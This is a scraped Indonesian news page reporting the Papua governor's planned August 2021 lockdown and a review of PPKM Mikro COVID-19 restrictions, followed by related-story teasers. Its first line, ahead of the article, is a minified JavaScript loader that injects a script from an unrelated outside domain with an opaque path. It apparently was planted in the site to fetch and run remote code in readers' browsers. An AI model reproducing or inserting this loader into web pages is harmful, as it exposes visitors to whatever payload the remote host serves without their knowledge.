(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAYAPURA- Gubernur Papua Lukas Enembe meminta masyarakat melakukan persiapan. Mengantisipasi surat edaran gubernur yang akan dikeluarkan, terkait rencana menutup akses keluar masuk atau “lockdown” dalam upaya menekan penyebaran COVID-19 di Papua.
Juru Bicara Gubernur Papua Muhammad Rifai Darus di Jayapura, mengatakan direncanakan Pemerintah Provinsi Papua akan menutup akses keluar dan masuk, baik jalur penerbangan maupun perairan.
“Penutupan tersebut diperkirakan akan berlangsung pada 1 Agustus-31 Agustus 2021,” katanya.
Menurut Rifai Darus kebijakan ini akan dibahas dan dimatangkan lebih lanjut pada rapat evaluasi oleh Tim Satgas COVID-19 Provinsi Papua pada Rabu 21 Juli 2021.
Baca juga: Banjarbaru Level 3, Wali Kota: Naik Level 4 Banjarbaru PPKM Darurat
“Pada Senin (19/7) Gubernur Papua Lukas Enembe beserta kepala daerah lainnya dari seluruh Indonesia menghadiri rapat terbatas melalui pertemuan virtual yang dipimpin langsung oleh Presiden Joko Widodo berkenaan dengan situasi pandemi COVID-19 di Indonesia,” ujarnya.
Dia menjelaskan usai rapat terbatas bersama Presiden tersebut, Gubernur Lukas Enembe selanjutnya pada hari yang sama mengumpulkan sejumlah pejabat Pemerintah Provinsi Papua dengan agenda pandemi COVID-19 di Provinsi Papua.
“Gubernur Papua Lukas Enembe akan melakukan evaluasi secara berkala terkait penerapan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Berskala Mikro di Provinsi Papua sesuai dengan Surat Edaran Gubernur Papua Nomor: 440/7736/SET,” katanya.
Baca juga: UPDATE. Kasus Positif Covid-19 Kalsel Nyaris 500 Orang, 6 Orang Meninggal
Dia menambahkan surat edaran tersebut masih berlaku hingga 25 Juli 2021. Untuk itu, Gubernur Papua meminta kepada seluruh pemangku kepentingan terkait agar dapat bersinergi dan bergerak lebih cepat dan tepat guna memastikan situasi pandemi COVID-19 di Tanah Papua tidak semakin parah.
“Pada Rabu 21 Juli 2021 direncanakan sebuah rapat oleh Tim Satgas COVID-19 Provinsi Papua atas instruksi gubernur guna membahas evaluasi PPKM Mikro yang tengah berlangsung dan akan berakhir pada 25 Juli 2021 nanti,” demikian Muhammad Rifai Darus. (Antara/suara.com)
Editor: suara
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
This website uses cookies.